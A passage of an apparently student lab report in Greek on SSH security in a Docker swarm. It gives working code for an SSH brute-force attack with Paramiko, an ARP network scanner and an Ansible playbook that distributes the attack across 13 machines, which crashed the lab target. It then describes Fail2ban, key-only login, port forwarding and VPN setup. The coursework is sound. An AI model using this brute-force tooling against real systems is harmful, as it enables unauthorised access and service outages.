 εγκαθίδρυση SSH καναλιού με τη Metasploitable, ήταν msfadmin:msfadmin. 

 

2.1.2 Διεξαγωγή της επίθεσης με εργαλείο Python/Paramiko 

  Για την εφαρμογή επιθέσεων brute force στο πρωτόκολλο SSH υπάρχουν αρκετά διαθέσιμα 

 εργαλεία. Ωστόσο, η γλώσσα Python διαθέτει και τη βιβλιοθήκη Paramiko21, η οποία μπορεί να 

 χρησιμοποιηθεί για την ανάπτυξη του ζητούμενου προγράμματος.  Η λειτουργικότητα της αφορά 

 το SSH, τόσο σε επίπεδο client όσο και σε επίπεδο server. Σύμφωνα με την περιγραφή22 της, αρχικά 

 πρέπει να δημιουργηθεί ένα αντικείμενο SSHClient, μέσω του οποίου θα εφαρμοστούν οι 

                                                           
21 Επίσημη ιστοσελίδα Paramiko, http://www.paramiko.org/  
22 Paramiko documentation, http://docs.paramiko.org/en/stable/  

http://www.paramiko.org/
http://docs.paramiko.org/en/stable/


 απαραίτητες function. Το πρόγραμμα που αναπτύχθηκε για την επίθεση βρίσκεται στο πλαίσιο 

 παρακάτω. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

import paramiko 

import os,time 

import sys 

import optparse 

 

def brute_ssh(): 

 ssh = paramiko.SSHClient() 

 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

 #checking the path 

 if os.path.exists(file_path) == False: 

  print("\n[-] Error: File not found") 

  sys.exit(2) 

 else: 

  file = open(file_path) 

 for line in file.readlines(): 

  splitted = line.split() 

  username = splitted[0] 

  password = splitted[1] 

  response = 0 

  try: 

   ssh.connect(target_ip, port=22, username=username, 

password=password) 

  except paramiko.AuthenticationException: 

   response=1 

   #for large file enable time.sleep 

   #time.sleep(10) 

  if response == 0: 

   print("\n[+] Gotcha!!! Username: " + username + " Password: " 

+ password) 

 ssh.close() 

 file.close() 



 

 

 

 

 

 

 

 

 

 

 

 

   Για να τρέξει το πρόγραμμα χρειάζεται δύο ορίσματα, τη διεύθυνση IP του στόχου της 

 επίθεσης και ένα αρχείο με συνδυασμούς usernames και passwords. Αφού λάβει τα απαραίτητα 

 δεδομένα, το πρόγραμμα καλεί τη συνάρτηση brute_ssh. Το πρώτο βήμα, εντός της συνάρτησης 

 είναι η δημιουργία του αντικειμένου SSHClient. Στη συνέχεια, ελέγχεται το path που δόθηκε από τον 

 χρήστη για την εγκυρότητα του και, εάν είναι έγκυρο, προχωράει στην επίθεση. Κατά την επίθεση, 

 διαβάζει, κατά σειρά, κάθε συνδυασμό username και password και δοκιμάζει να συνδεθεί με τον 

 στόχο με τη συνάρτηση, του αντικειμένου SSHClient, connect. Εάν η σύνδεση δεν είναι επιτυχής, 

 λόγω της εξαίρεσης AuthenticationException, θέτει το flag response ίσο με 1. Κάθε φορά που βλέπει 

 το response = 1, θα δοκιμάζει έναν νέο συνδυασμό για να συνδεθεί. Όταν, τέλος, βρεθεί ο σωστός 

 συνδυασμός και εγκαθιδρυθεί το κανάλι, θα εμφανίσει στην οθόνη το αποτέλεσμα και θα κλείσει τη 

 σύνδεση SSH. 

   Για το μικρό αρχείο που δόθηκε, το πρόγραμμα είχε εξίσου επιτυχές αποτέλεσμα με το 

 Metasploit. Ωστόσο, για ένα μεγαλύτερο αρχείο, θα χρειαζόταν να ενεργοποιηθεί η συνάρτηση 

 sleep που βρίσκεται σε σχόλιο. Στην Εικόνα 11 φαίνονται τα αποτελέσματα του προγράμματος και 

 το αρχείο με τους συνδυασμούς. 
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parser = optparse.OptionParser() 

 

parser.add_option("-t", "--target", dest="target_ip", help="set target's 

IP") 

parser.add_option("-f", "--file", dest="file_path", help="set a file as 

input") 

 

 

(options, arguments) = parser.parse_args() 

target_ip = options.target_ip 

file_path = options.file_path 

brute_ssh() 



 

2.1.3 Επιπλέον: Αξιοποίηση του Docker swarm 

 

  Η επίθεση που παρουσιάστηκε στις προηγούμενες ενότητες πραγματοποιήθηκε με ένα 

 μικρό, σε έκταση, αρχείο. Σε μία πραγματική επίθεση θα χρειαζόμασταν ένα με δεκάδες, και ίσως 

 εκατοντάδες, γραμμές από πιθανούς κωδικούς πρόσβασης. Η επίθεση, τότε, θα χρειαζόταν αρκετό 

 χρόνο μέχρι να βρει το σωστό κωδικό.  

  Από τη στιγμή, όμως, που έχουμε στη διάθεση μας ένα σμήνος από μηχανές, είναι δυνατό 

 να εκτελεστεί η επίθεση εκ μέρους κάθε μέλους του. Σε αυτή την ενότητα, αξιοποιήθηκε ένα σμήνος 

 από 15 Docker Engines όπου, η κάθε μηχανή ερευνούσε διαφορετικούς πιθανούς κωδικούς ενός 

 αρχείου 1557 γραμμών. Η επίθεση υλοποιήθηκε σύμφωνα με τα ακόλουθα βήματα. 

 

 Εύρεση αρχείου με πιθανούς κωδικούς πρόσβασης 

  Για την επίθεση χρησιμοποιήθηκε το αρχείο Top1575-probable-v2.txt από το git repository 

 που βρίσκεται στο σύνδεσμο https://github.com/berzerk0/Probable-Wordlists.git. Όπως γίνεται 

 κατανοητό από τον τίτλο του, περιέχει 1575 από τους δημοφιλέστερους κωδικούς πρόσβασης. 

 Διαχωρισμός των γραμμών του αρχείου για τη διανομή σε κάθε μηχανή 

  Το αρχείο διαχωρίστηκε σε μικρότερα αρχεία, προκειμένου αυτά να διανεμηθούν στις 

 μηχανές του σμήνους. 
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 Με την εντολή split –l 122 Top χωρίστηκε το αρχείο σε 13 μικρότερα, όσα και οι μηχανές 

 που θα εκτελέσουν την επίθεση. Κάθε αρχείο περιέχει από 122 γραμμές του αρχικού, εκτός του 

 τελευταίου που περιέχει όσες περίσσεψαν από το σύνολο. 

 Μετονομασία του αρχείου ανάλογα με τις διευθύνσεις IP των μηχανών 

  Η διανομή του αρχείου θα γίνει μέσω ενός ansible playbook. Προτού, όμως, εκτελεστεί το 

 playbook, χρειάζεται να μετονομαστούν τα αρχεία με κατάλληλο τρόπο. Αφού το ansible έχει μία 

 μεταβλητή για την εύρεση της διεύθυνσης IP στην οποία εκτελείτε κάθε φορά, ένας καλός τρόπος 

 ονοματοδοσίας των αρχείων ήταν βάσει αυτής της διεύθυνσης. Για την εκτέλεση του βήματος, 

 δημιουργήθηκε το ακόλουθο πρόγραμμα σε Python.  

 

 

 

 

 

https://github.com/berzerk0/Probable-Wordlists.git


  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

from scapy.all import * 

import optparse 

import os 

 

 

ip_list = [] 

 

def scan(): 

 arp_request = ARP(pdst=ip) 

 broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") 

 arp_request_broadcast = broadcast/arp_request 

 answered_list = srp(arp_request_broadcast, timeout=1)[0] 

 for element in answered_list: 

  ip_list.append(element[1].psrc) 

 for element in ip_list: 

  print(element) 

 

def rename(): 

 ip_list.remove("172.19.0.1") 

 ip_list.remove("172.19.0.5") 

 for target_ip, filename in zip(ip_list,os.listdir("/project/wordlists")): 

  dst = target_ip 

  src = "/project/wordlists/" + filename 

  dst = "/project/wordlists/" + dst 

  print("Renaming file " + src + "to " + dst)  

  os.rename(src,dst) 

 

parser = optparse.OptionParser() 

 

parser.add_option("-t","--target",dest="ip",help="set target's ip") 

(options,arguments) = parser.parse_args() 

 

ip = options.ip 

scan() 

rename() 



 

  Το πρόγραμμα έχει διπλή λειτουργικότητα. Αρχικά, με τη βοήθεια του εργαλείου scapy, 

 σαρώνει το δίκτυο για ενεργούς hosts. Είναι, δηλαδή, ένα network scanner που τρέχει σαν το nmap 

 με την επιλογή –sn. Το επιτυγχάνει μέσω της συνάρτησης scan όπου, στέλνει ένα ερώτημα ARP σε 

 κάθε διεύθυνση του δικτύου και καταγράφει, σε μία λίστα, μόνο τις διευθύνσεις IP και MAC από 

 τις οποίες έλαβε απάντηση. Επιπλέον, καταχωρεί στη λίστα ip_list το πεδίο psrc, του κάθε 

 στοιχείου της προηγούμενης λίστας, αυτό δηλαδή που περιέχει μόνο την IP.  

  Αφού εκτελεστεί η scan, εκτελείται η rename. Σκοπός της είναι η μετονομασία των 

 αρχείων που βρίσκονται στο φάκελο wordlist σύμφωνα με τη λίστα ip_list(το αρχικό αρχείο 

 Top αφαιρέθηκε από το φάκελο μετά το διαχωρισμό του). Προτού ξεκινήσει τη διαδικασία, 

 αφαιρείται από τη λίστα η πρώτη διεύθυνση του δικτύου και η διεύθυνση της μηχανής που αποτελεί 

 στόχο της επίθεσης. Η μετονομασία γίνεται με τη βοήθεια της rename της βιβλιοθήκης os. 

 Δοκιμή του προγράμματος Python/Paramiko από μία μηχανή 

  Για απλή επαλήθευση της ομαλής λειτουργικότητας του προγράμματος που παρουσιάστηκε 

 στην ενότητα 2.1.2, εκτελέστηκε προς μία μηχανή στόχο με ένα μικρό αρχείο πιθανών κωδικών. 

 Επιπλέον, θεωρώντας ότι το username είναι γνωστό, και είναι το Docker, δεν χρειάζεται σε αυτή την 

 εφαρμογή να παρέχουμε ένα αρχείο με συνδυασμούς από usernames και passwords. 

 

 Διανομή του προγράμματος brute_ssh.py και των αρχείων με τους πιθανούς κωδικούς στις 13 

 Engines του σμήνους 

  Η διανομή, όπως ήδη αναφέρθηκε, έγινε με το εργαλείο ansible. Για να επιτευχθεί ο στόχος, 

 συντάχθηκε το playbook που θα ακολουθήσει. Οι εργασίες που ζητά από τις μηχανές να εκτελέσουν 

 είναι οι εξής: 

 Ενημέρωση συστήματος 

 Εγκατάσταση του pip3 

 Εγκατάσταση του scapy μέσω του pip3 

 Εγκατάσταση του paramiko μέσω του pip3 

 Αντιγραφή του brute_ssh.py σε κάθε μηχανή (μέσω αυτού θα εκτελέσουν την επίθεση) 

 Αντιγραφή του κατάλληλου αρχείου πιθανών κωδικών σε κάθε μηχανή. Η επιλογή του 

αρχείου γίνεται χάρη στη μεταβλητή ansible_eth0.ipv4.address, που περιέχει την IP 

διεύθυνση της τρέχουσας μηχανής 

 Εκτέλεση της επίθεσης και αποθήκευση απάντησης στη μεταβλητή result 

 Debug – αποστολή απάντησης στη Master engine με τα αποτελέσματα της εκτέλεσης 

 

 

 

 

 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- name: ssh brute force attack 

  hosts: containers 

  remote_user: docker 

  become: yes 

 

  tasks: 

  - name: apt-get update 

    apt: 

            update_cache: yes 

 

  - name: install pip3 

    apt: 

            name: python3-pip     

 

  - name: install scapy 

    command: pip3 install scapy 

 

  - name: install paramiko 

    command: pip3 install paramiko 

 

  - name: copy ssh_brute.py to remote users 

    copy: 

            src: /project/tools/ssh_brute.py 

            dest: /tmp/ssh_brute.py 

            owner: docker 

 

  - name: copy appropriate wordlist for each remote user 

    copy: src=/project/wordlists/{{ ansible_eth0.ipv4.address }} 

dest=/tmp/wordlist 

 

  - name: run ssh_brute.py and return result through custom fact password.fact 

    shell: python3 /tmp/ssh_brute.py -t 172.19.0.5 -f /tmp/wordlist 

    register: result 

 

  - debug: 

          msg: "Somebody found it: {{ result }}" 



 

 Σημείωση: Η εκτέλεση της επίθεσης, εκ μέρους κάθε μηχανής, πραγματοποιήθηκε σύμφωνα με τις 

 οδηγίες του playbook. Όμως, ο στόχος δεν κατάφερε να εξυπηρετήσει τόσα αιτήματα ταυτόχρονα 

 και τελικά κατέρρευσε.  

 

 

2.2 Αντιμετώπιση της επίθεσης με το Fail2ban 

 

  Το Fail2ban23 είναι ένα framework που επικεντρώνεται στην προστασία υπολογιστικών 

 συστημάτων από επιθέσεις ωμής βίας24. Το στόχο του επιτυγχάνει ανιχνεύοντας τις κακόβουλες IP 

 διευθύνσεις, ερευνώντας διάφορα αρχεία καταγραφής. Πέρα από τον εντοπισμό, η λειτουργικότητα 

 του επεκτείνεται και στην ενημέρωση τειχών προστασίας, με κατάλληλο τρόπο, αλλά και στην 

 ενημέρωση του διαχειριστή του συστήματος μέσω email.  

  Η εγκατάσταση του στο σύστημα είναι απλή. Μετά από την ενημέρωση του, το fail2ban 

 εγκαθίσταται με την εντολή sudo apt install fail2ban. Αφού εγκατασταθεί, μπορούμε 

 να ρυθμίσουμε την υπηρεσία fail2ban ώστε να εκκινείτε με την έναρξη της μηχανής, με την εντολή 

 sudo systemctl enable fail2ban.service. Τέλος, μένει η παραμετροποίηση του με 

 τις επιθυμητές ρυθμίσεις, προκειμένου να αποκλείει κακόβουλους χρήστες από την παραβίαση του

 πρωτοκόλλου SSH. 

  Με την εγκατάσταση του fail2ban δημιουργείται ένας φάκελος, υπό το directory /etc, με 

 όνομα fail2ban. Εντός του, περιλαμβάνεται το αρχείο jail.conf, το οποίο προορίζεται για την 

 παραμετροποίηση του framework. Όμως, επειδή με την ενημέρωση του fail2ban ενδέχεται να 

 ενημερωθεί και το ίδιο το αρχείο, και να χαθούν οι ρυθμίσεις που έχει εισάγει ο διαχειριστής, 

 αποτελεί καλύτερη τακτική η αντιγραφή του αρχείου στο jail.local. Το fail2ban θα προτιμήσει να 

 λειτουργήσει βάσει αυτού ενώ, με την ενημέρωση του, δεν θα αντικαταστήσει το περιεχόμενο του. 

 Οι ρυθμίσεις που έγιναν για το σύστημα, το οποίο υπήρξε στόχος των επιθέσεων της προηγούμενης 

 ενότητας, φαίνονται στην εικόνα που ακολουθεί. 
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23 Επίσημη ιστοσελίδα Fail2ban, https://www.fail2ban.org/wiki/index.php/Main_Page  
24 Wikipedia, Fail2ban, https://en.wikipedia.org/wiki/Fail2ban  

https://www.fail2ban.org/wiki/index.php/Main_Page
https://en.wikipedia.org/wiki/Fail2ban


 

  Όπως αναφέρθηκε, το framework προστατεύει το σύστημα από κάθε επίθεση ωμής βίας. Η 

 περιοχή [sshd] προορίζεται για την προστασία του από επιθέσεις ωμής βίας στο πρωτόκολλο SSH. 

 Με την επιλογή enabled = true ενεργοποιήθηκε η αντίστοιχη «φυλακή», μέσω της οποίας θα 

 αποκλείονται οι IP των κακόβουλων χρηστών. Η επιλογή port = ssh αφορά την port με νούμερο 22, 

 στην οποία τρέχει η υπηρεσία SSH. Το logpath είναι το αρχείο καταγραφής που χρησιμοποιεί το 

 framework για να εντοπίσει κακόβουλες δραστηριότητες. Ως backend υποστήριξης της υπηρεσίας 

 είναι το εργαλείο systemd25 των Unix. Ως δράση αποκλεισμού, banaction = iptables, επιλέχθηκε το 

 τείχος προστασίας των Unix, iptables, πράγμα που σημαίνει ότι, το framework θα δημιουργήσει τον 

 κατάλληλο κανόνα, εντός του τείχους, αποκλείοντας όσους χρήστες θεωρεί κακόβουλους. 

 Προκειμένου να θεωρηθεί ένας χρήστης κακόβουλος ορίστηκε το όριο maxretry = 2 που σημαίνει 

 ότι, κάθε χρήστης θα έχει πλέον μέχρι και δύο απόπειρες για την εισαγωγή του σωστού κωδικού 

 πρόσβασης. Η διερεύνηση των κακόβουλων χρηστών θα γίνεται ανά μία ημέρα, findtime = 1d. Από 

 τη στιγμή που ένας χρήστης θα θεωρηθεί κακόβουλος, η IP του θα αποκλείεται για 4 εβδομάδες, 

 bantime = 4w.  

 

 

2.3 Εγκαθίδρυση καναλιού SSH μόνο με key 

 

  Το OpenSSH παρέχει δύο δυνατότητες για την αυθεντικοποίηση ενός χρήστη/client κατά την 

 εγκαθίδρυση ενός καναλιού επικοινωνίας: με κωδικό πρόσβασης και με κλειδί. Αν και, η διαδικασία 

 είναι ασφαλέστερη με τη χρήση ενός ιδιωτικού κλειδιού, προερχόμενο από τον αλγόριθμο RSA, 

 παραμένει ευκολότερη η χρήση του κωδικού πρόσβασης. Η προεπιλεγμένη ρύθμιση του 

 πρωτοκόλλου αφορά τη σύνδεση με κωδικό πρόσβασης και αποτελεί, παράλληλα, την επιλογή των 

 περισσότερων χρηστών. 

  Για την εφαρμογή της ασφαλέστερης επιλογής απαιτείται η ρύθμιση του αρχείου 

 παραμετροποίησης του OpenSSH. Βρίσκεται υπό το directory /etc/ssh με όνομα sshd.conf. Η μόνη 

 αλλαγή που χρειάζεται να εισάγει ο διαχειριστής είναι η PasswordAuthentication no. 
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  Από εκεί και πέρα, κάθε χρήστης/client που επιθυμεί να συνδεθεί με τον χρήστη/server 

 μπορεί να δημιουργήσει ένα ζευγάρι κλειδιών (RSA,2048 bits) με την εντολή ssh-keygen, η οποία 

 αποτελεί μέρος της «εργαλειοθήκης» του OpenSSH.  

 

 

 

                                                           
25 Wikipedia, systemd, https://en.wikipedia.org/wiki/Systemd  

https://en.wikipedia.org/wiki/Systemd


 

 

3. Δημιουργία Local/Remote SSH Forwarding για την παροχή υπηρεσιών στο σμήνος 

 

  Είδαμε πως, με το πρωτόκολλο SSH δύναται να εγκαθιδρύσουμε ένα κανάλι επικοινωνίας 

 μεταξύ δύο υπολογιστών. Οι επιλογές, όμως, που παρέχει αυτό το πρωτόκολλο δεν τελειώνουν εκεί. 

 Το SSH δίνει, επιπλέον, τη δυνατότητα της «συράγγωσης πυλών εφαρμογών από τη μηχανή πελάτη 

 προς τη μηχανή εξυπηρετητή, ή αντίστροφα»26. 

  Ο μηχανισμός SSH Fort Porwarding δημιουργεί ένα SSH Tunnel27, το οποίο προσδίδει  

 αξιοπιστία στην επικοινωνία μεταξύ υπολογιστικών συστημάτων χάρη στην κρυπτογράφηση που 

 παρέχει το πρωτόκολλο SSH. Μπορεί να πραγματοποιηθεί με τρεις τρόπους: τοπικά (Local Port 

 Forwarding), απομακρυσμένα (Remote Port Forwarding) ή δυναμικά (Dynamic Port Forwarding).  

 Local Port Forwarding 

  Με αυτή τη μέθοδο, η κίνηση κατευθύνεται προς μία πύλη στη μηχανή πελάτη από τη 

 μηχανή εξυπηρετητή. Εφαρμόζεται όταν ο πελάτης επιθυμεί να αποκτήσει πρόσβαση σε κάποια 

 υπηρεσία μίας άλλης, απομακρυσμένης, μηχανής. Ας υποθέσουμε πως, μία υπηρεσία βάσης 

 δεδομένων τρέχει στη μηχανή εξυπηρετητή. Προκειμένου να αποκτήσει πρόσβαση σε αυτή, ο 

 τοπικός χρήστης χρειάζεται να προωθήσει την κίνηση από την πύλη 3306 του εξυπηρετητή σε 

 κάποια, διαθέσιμη, πύλη της δικής του μηχανής. 

 Remote Port Forwarding 

  Η μέθοδος προτιμάται όταν, ο τοπικός χρήστης επιθυμεί να αποκτήσει πρόσβαση σε 

 υπηρεσίες ή πόρους του απομακρυσμένου εξυπηρετητή, οι οποίες δεν είναι διαθέσιμες πέρα από 

 τα όρια του υπολογιστικού συστήματος του δεύτερου. Για να το επιτύχει, προωθεί την κίνηση από 

 μία πύλη της τοπικής μηχανής σε μια πύλη της απομακρυσμένης. 

 Dynamic Port Forwarding 

  Για την προώθηση της κίνησης με αυτή τη μέθοδο, η τοπική μηχανή δρα ως ένας SOCKS28

 server, για ορισμένες υπηρεσίες, «ο οποίος εκτελείται σε ένα τείχος προστασίας που βασίζεται στο 

 UNIX»29. Η κίνηση αυτών των υπηρεσιών κατευθύνεται προς μία απομακρυσμένη μηχανή, όταν 

 αυτή συνδέεται με την ορισμένη πύλη του SSH tunnel. 

 

      3.1 Δημιουργία Local Port Forwarding 

 

  Το παράδειγμα εφαρμόστηκε εντός ενός σμήνους Docker, το οποίο αποτελούταν από μία 

 Manager Engine και τέσσερις Worker Engines. Στη μηχανή με διεύθυνση IP 172.19.0.5 έτρεχε η 

 υπηρεσία mysql. Όπως φαίνεται και στην εικόνα, έχει δημιουργηθεί μία  βάση δεδομένων με το 

 όνομα example5. 

                                                           
26 Επίσημη ιστοσελίδα SSH, SSH port forwarding, https://www.ssh.com/ssh/tunneling/example  
27 SSH Tunneling, https://www.ssh.com/ssh/tunneling/  
28 Wikipedia, SOCKS, https://en.wikipedia.org/wiki/SOCKS  
29 Stallings, 2011, 710 

https://www.ssh.com/ssh/tunneling/example
https://www.ssh.com/ssh/tunneling/
https://en.wikipedia.org/wiki/SOCKS
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 Για την απόκτηση πρόσβασης σε αυτή από τη Manager Engine, με διεύθυνση IP 172.19.0.2, 

 δημιουργήθηκε ένα SSH tunnel με Local Port Forwarding. 
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 Αναλυτικά οι επιλογές της εντολής: 

 -4, επιλογή διευθύνσεων με πρωτόκολλο IPv4 

 -f, η διεργασία να μπει στο παρασκήνιο 

 -N, καμία περαιτέρω ενέργεια μετά την εγκαθίδρυση του καναλιού 

 -L, Local Port Forwarding 

 50:127.0.0.1:3306, κατευθύνεται η κίνηση από την πύλη 3306 του απομακρυσμένου 

εξυπηρετητή, όπου και τρέχει η υπηρεσία mysql-server, προς την πύλη 50 του τοπικού 

(localhost, 127.0.0.1) χρήστη 

 docker@172.19.0.5, η απομακρυσμένη μηχανή-εξυπηρετητής 

 Με το εργαλείο netstat μπορούμε να ελέγξουμε την κατάσταση της σύνδεσης ενώ, εάν 

 πληκτρολογήσουμε την εντολή ps aux μπορούμε να δούμε τη διεργασία που τρέχει στο παρασκήνιο. 

mailto:docker@172.19.0.5
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  Από τη στιγμή που έχει εγκατασταθεί το SSH tunnel, μπορούμε να συνδεθούμε στη πύλη 50 

 μέσω ενός mysql-client. Εάν η εγκατάσταση έχει γίνει ορθά, θα δούμε τη βάση example5 του 

 απομακρυσμένου χρήστη. 
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       3.2 Δημιουργία Remote Port Forwarding 

 

  Ακολουθώντας τα ίδια βήματα εγκαταστάθηκε ένα SSH tunnel μεταξύ των ίδιων χρηστών. 

 Μέσω αυτού, η τοπική μηχανή έχει, πλέον, τη δυνατότητα πρόσβασης σε ιδιωτικές υπηρεσίες του 

 απομακρυσμένου εξυπηρετητή. 
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 Οι μόνες, απαραίτητες, αλλαγές στην εντολή ήταν η επιλογή –R, για Remote Port Forwarding, και η 

 επιλογή της πύλης 4000 της τοπικής μηχανής.  



 

4. Δημιουργία VPN στο σμήνος 

 

  Τα Εικονικά Ιδιωτικά Δίκτυα(VPN, Virtual Private Networks) αποτελούν μία τεχνολογία για 

 τη διασύνδεση υπολογιστικών συστημάτων με ασφαλείς μεθόδους. Επιλύουν ζητήματα επέκτασης 

 των ιδιωτικών δικτύων, χωρίς να είναι κοστοβόρα ή να υστερούν σε ασφάλεια. Το VPN 

 «χρησιμοποιεί το Διαδίκτυο ή κάποιο δημόσιο δίκτυο» για να συνδέσει απομακρυσμένες 

 τοποθεσίες και «κρυπτογράφηση και πιστοποίηση ταυτότητας στα χαμηλότερα επίπεδα 

 πρωτοκόλλων προκειμένου να παρέχει μια ασφαλή σύνδεση μέσω ενός κατά τα άλλα μη ασφαλούς 

 δικτύου»30. 

  Πέρα από τα μέλη υπηρεσιακών δικτύων, το VPN χρησιμοποιείται ευρέως και από ιδιώτες. 

 Χάρη στους μηχανισμούς κρυπτογράφησης που παρέχουν, συνιστούν καλή επιλογή για όσους 

 επιθυμούν να ασφαλίσουν τις συναλλαγές και την ανωνυμία τους στο Διαδίκτυο. Επιπλέον, με τη 

 δυνατότητα διασύνδεσης με απομακρυσμένες τοποθεσίες, οι χρήστες μπορούν να αποκρύψουν και 

 την πραγματική τους τοποθεσία, μέχρι και να επιλέξουν να εμφανίζονται ως χρήστες δικτύων άλλων 

 χωρών. 

  Δημιουργία VPN βάση των οδηγιών31 

  Ακολουθώντας τις οδηγίες, τα αποτελέσματα του κάθε βήματος φαίνονται στις εικόνες που 

 ακολουθούν. 

 Δημιουργία VPN 

 Το script αντιγράφτηκε σε ένα αρχείο με όνομα create-vpn.sh. Τρέχοντας το scipt τα αποτελέσματα: 
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30 Stallings,Brown, 2016, 354 
31 Οδηγίες στο σύνδεσμο http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/ex-5_iptables.adoc.html  

http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/ex-5_iptables.adoc.html


 Με την εντολή docker ps εμφανίζεται το Docker container που φέρει το image για τη λειτουργία 

 του server για το VPN. 

 Δημιουργία user 

 Το script αντιγράφηκε στο αρχείο με όνομα create-user.sh. Τρέχοντας το script τα αποτελέσματα: 
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 Στο directory δημιουργήθηκε το αρχείο test1.ovpn, απαραίτητο για τη σύνδεση του χρήστη με το 

 VPN μέσω του OpenVPN32. Στο αρχείο προστέθηκαν οι κατάλληλες οδηγίες. Επιπλέον, φαίνεται και 

 το directory openvpn-services που δημιουργήθηκε αφού ολοκληρώθηκε το script create-vpn.sh. 

 Σύνδεση χρήστη 

 Η σύνδεση χρήστη έγινε με την εντολή openvpn –config ./test1.ovpn. 
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32 Wikipedia, OpenVPN, https://en.wikipedia.org/wiki/OpenVPN 



 

 Εμφάνιση συνδεδεμένων χρηστών 

 Χωρίς να διακοπεί η διεργασία αυτού του παραθύρου, σε άλλο παράθυρο και τρέχοντας το script 

 του αρχείου show-conn-user.sh, βλέπουμε τους συνδεδεμένους χρήστες. 
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 Η αναφορά περιλαμβάνει το όνομα του χρήστη και την πραγματική διεύθυνση IP του. 

 Εμφάνιση χρηστών 

 Τέλος, η εμφάνιση των users που τρέχουν την υπηρεσία μπορεί να πραγματοποιηθεί τρέχοντας το 

 script show-user.sh, 
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 όπου αναφέρεται ο user test1, ο οποίος χρησιμοποίησε την υπηρεσία, αλλά με λιγότερες 

 λεπτομέρειες.  
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